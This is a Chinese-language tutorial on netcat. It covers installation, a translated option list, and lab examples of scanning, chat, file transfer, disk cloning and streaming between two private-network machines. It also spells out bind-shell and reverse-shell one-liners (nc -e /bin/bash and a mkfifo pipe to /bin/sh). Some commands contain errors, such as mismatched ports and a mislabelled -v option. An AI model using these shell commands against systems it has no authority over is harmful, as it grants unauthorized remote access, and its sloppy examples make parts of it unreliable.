Netcat命令
windows安装netcat
windows安装nc命令
1.下载netcat。下载地址:
https://eternallybored.org/misc/netcat/
2、解压
3、将nc.exe 复制到C:\Windows\System32的文件夹下
4、打开cmd。输入nc 命令OK~
发送消息:nc -l -p port
与linux稍微不同,可以使用nc --help
$ nc -l -p 6789
a a e e f f
Linux版本下载地址:https://nmap.org/ncat/
Windows版本下载地址:http://nmap.org/dist/ncat-portable-5.59BETA1.zip
Netcat命令使用方法
Netcat命令使用方法
由于nc命令使用方法很多,下面我就给大家介绍一下,希望能帮助到大家!
用法:
ncat [选项] [主机名] [端口]
花费时间的选项以秒为单位。 附加“ ms”毫秒,“ s”表示秒,“ m”表示分钟,或“ h”表示小时(例如500ms)。
-4 仅使用IPv4
-6 仅使用IPv6
-U, --unixsock 仅使用Unix域套接字
–vsock 仅使用vsock套接字
-C, --crlf 将CRLF用于EOL序列
-c, --sh-exec 通过/bin/sh执行给定命令
-e, --exec 执行给定命令
–lua-exec 执行给定的Lua脚本
-g hop1[,hop2,…] 松散的源路由跳跃点(最大8个)
-G 松散的源路由跳跃指针(4、8、12,…)
-m, --max-conns 最大同时连接
-h, --help 显示此帮助屏幕
-d, --delay
-o, --output 将会话数据转储到文件中
-x, --hex-dump 将会话数据以十六进制形式转储到文件中
-i, --idle-timeout
-p, --source-port port 指定要使用的源端口
-s, --source addr 指定要使用的源地址(不影响-l)
-l, --listen 绑定并监听传入的连接
-k, --keep-open 在侦听模式下接受多个连接
-n, --nodns 不通过DNS解析主机名
-t, --telnet 回答Telnet协商
-u, --udp 使用UDP代替默认TCP
–sctp 使用SCTP代替默认TCP
-v, --verbose 使用SCTP代替默认TCP
-w, --wait
-z 零I/O模式,仅报告连接状态
–append-output 附加而不是破坏指定的输出文件
–send-only 仅发送数据,忽略接收;退出EOF
–recv-only 仅接收数据,从不发送任何内容
–no-shutdown 在stdin上收到EOF时继续半双工
–allow 只允许给定的主机连接到Ncat
–allowfile 允许连接到Ncat的主机文件
–deny 拒绝给定主机连接到Ncat
–denyfile 拒绝连接到Ncat的主机文件
–broker 启用Ncat的连接代理模式
–chat 启动一个简单的Ncat聊天服务器
–proxy <addr[:port]> 指定要通过其代理的主机的地址
–proxy-type 指定代理类型 (“http”, “socks4”, “socks5”)
–proxy-auth 使用HTTP或SOCKS代理服务器进行身份验证
–proxy-dns 指定解析代理目标的位置
–ssl 使用SSL连接或监听
–ssl-cert 指定用于侦听的SSL证书文件(PEM)
–ssl-key 指定用于侦听的SSL私钥(PEM)
–ssl-verify 验证证书的信任和域名
–ssl-trustfile 包含受信任SSL证书的PEM文件
–ssl-ciphers 包含要使用的SSL密码的密码列表
–ssl-alpn 要使用的ALPN协议列表
–version 显示Ncat的版本信息并退出
下面再给大家分享一些简单的例子,希望可以用得上!下面是我本地的模拟环境:
A服务器,Kali Linux:192.168.1.105 (基于Debian的Linux)
B服务器,BlackArch:192.168.1.102 (基于Arch的Linux)
1、Necat 端口扫描
扫描单个端口:
root@kali:~# nc -zv www.fujieace.com 80
扫描多个端口:
root@kali:~# nc -zv www.fujieace.com 1-1023 #现在这样扫描不行,会提示无效的端口号
2、Necat 连接与监听
在TCP / UDP端口上监听
root@kali:~# nc -l 1576 //监听1576端口来接受客户端的连接
连接到TCP / UDP端口
[ blackarch ~]# nc 192.168.1.105 1576 //启动客户端打开连接
3、Netcat 聊天
现在的聊天交流工具很多。但是,有时候在一些特殊的环境下,需要沟通怎么办?Netcat提供了这样一种方法,你只需要创建一个简单的聊天服务器,一个预先确定好的端口,这样子你们就可以相互交流了。
服务端输入命令:
root@kali:~# nc -l 1576
客户端输入命令:
[ blackarch ~]# nc 192.168.1.105 1576
netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。不管你在自己电脑上输入什么?然后回车,对方电脑都会显示出来。
4、Netcat 文件传输
大多数情况下,我们都是通过网络或者其它工具传输文件,例如:FTP、SCP、SMB等等。但是当你只是需要临时或者一次传输文件,去特意配置这些传输软件太麻烦了吧!因此,Netcat就显得很有必要了。
1、将A服务器上的 love.grc 文件上传到 B服务器。
服务端输入命令:
root@kali:~# nc -l 1576 < love.grc 上传的文件
客户端输入命令:
[ blackarch ~]# nc -n 192.168.1.105 1576 > love.grc 接收的文件,可以重命名
2、下面的我们发送文件从B到A,但是服务器创建在A上,把B服务器上的test.zip文件上传到A服务器上去。
服务端输入命令:
root@kali:~# nc -l 1576 > test.zip 接收的文件,可以重命名
客户端输入命令:
[ blackarch ~]# nc -n 192.168.1.105 1576 < test.zip 上传的文件
5、Netcat 目录传输
发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。
1、如果你想要通过网络传输一个目录从A到B,把A服务器的test目录上传到B服务器。
服务端输入命令:
root@kali:~# tar -cvf - test | nc -l 1576
客户端输入命令:
[ blackarch ~]# nc -n 192.168.1.105 1576 | tar -xvf -
这里整个大概思路是:
在A服务器上,我们创建一个tar归档包并且通过 - 在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。
在客户端我们下载该压缩包通过netcat 管道然后打开文件。
2、如果想要节省带宽传输压缩包,我们可以使用bzip2或者其他工具压缩。
服务端输入命令:
root@kali:~# tar -cvf – test | bzip2 -z | nc -l 1576 #通过bzip2压缩
客户端输入命令:
[ blackarch ~]# nc -n 192.168.1.105 1567 | bzip2 -d |tar -xvf - #使用bzip2解压
6、Netcat 加密传送中的数据
如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。
服务端输入命令:
root@kali:~# nc -l 1576 | mcrypt –flush –bare -F -q -d -m ecb < file.txt #上传的文件
客户端输入命令:
[ blackarch ~]# mcrypt –flush –bare -F -q -m ecb > file.txt | nc -n 192.168.1.105 1576 #接收的文件,可以重命名
7、流视频
nc虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用netcat,依然也是一个不错的选择。
服务端命令:
root@kali:~# cat video.avi | nc -l 1567 #从一个视频文件中读入并重定向输出到netcat客户端
客户端命令:
[ blackarch ~]# nc 192.168.1.105 1567 | mplayer -vo x11 -cache 3000 - #从socket中读入数据并重定向到mplayer
8、克隆设备
如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。
克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上;
服务端命令:
root@kali:~# dd if=/dev/sda | nc -l 1567
客户端命令:
[ blackarch ~]# nc -n 192.168.1.105 1567 | dd of=/dev/sda
dd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。
9、Netcat 打开一个shell远程管理
一般来说,我们可以使用telnet和ssh命令来打开一个shell远程管理,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用netcat创建远程shell。
1、假设你的netcat支持 -c 、 -e 参数;
服务端输入命令:
root@kali:~# nc -l 1567 -e /bin/bash -i 1
客户端输入命令:
[ blackarch ~]# nc 192.168.1.105 1567
netcat shell远程管理
这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash;
2、假如netcat 不支持-c 或者 -e 参数,我们仍然能够创建远程shell。
服务端输入命令:
root@kali:~# mkfifo /tmp/tmp_fifo
root@kali:~# cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。
说明:
从网络收到的输入写到fifo文件中
cat 命令读取fifo文件并且其内容发送给sh命令
sh命令进程受到输入并把它写回到netcat。
netcat 通过网络发送输出到client
至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。
客户端输入命令:
[ blackarch ~]# nc 192.168.1.105 1567
10、反向shell
反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。
服务端命令:
root@kali:~# nc -l 1567
netcat反向shell
客户端命令:
[ blackarch ~]# nc 192.168.1.105 1567 -e /bin/bash
11、指定源端口
假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。
服务端命令:
root@kali:~# nc -l 1567
客户端命令:
[ blackarch ~]# nc 192.168.1.105 -p 25
注意:
使用1024以内的端口需要root权限。
该命令将在客户端开启25端口用于通讯,否则将使用随机端口。
12、指定源地址
假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在netcat中使用-s选项指定ip地址。
服务端命令:
root@kali:~# nc -u -l 1567 < file.txt
客户端命令:
[ blackarch ~]# nc -u 192.168.1.105 1567 -s 192.168.1.110 > file.txt #该命令将绑定地址192.168.1.110。
总结:
nc还有其它用途,例如:
使用-t选项模拟Telnet客户端,
HTTP客户端用于下载文件,
连接到邮件服务器,使用SMTP协议检查邮件,
使用ffmpeg截取屏幕并通过流式传输分享,等等。其它更多用途。
简单来说,只要你了解协议就可以使用netcat作为网络通讯媒介,实现各种客户端。
linux查看shell
1、查看所有可用的shell:
cat /etc/shells
2、查看当前的shell:
echo $SHELL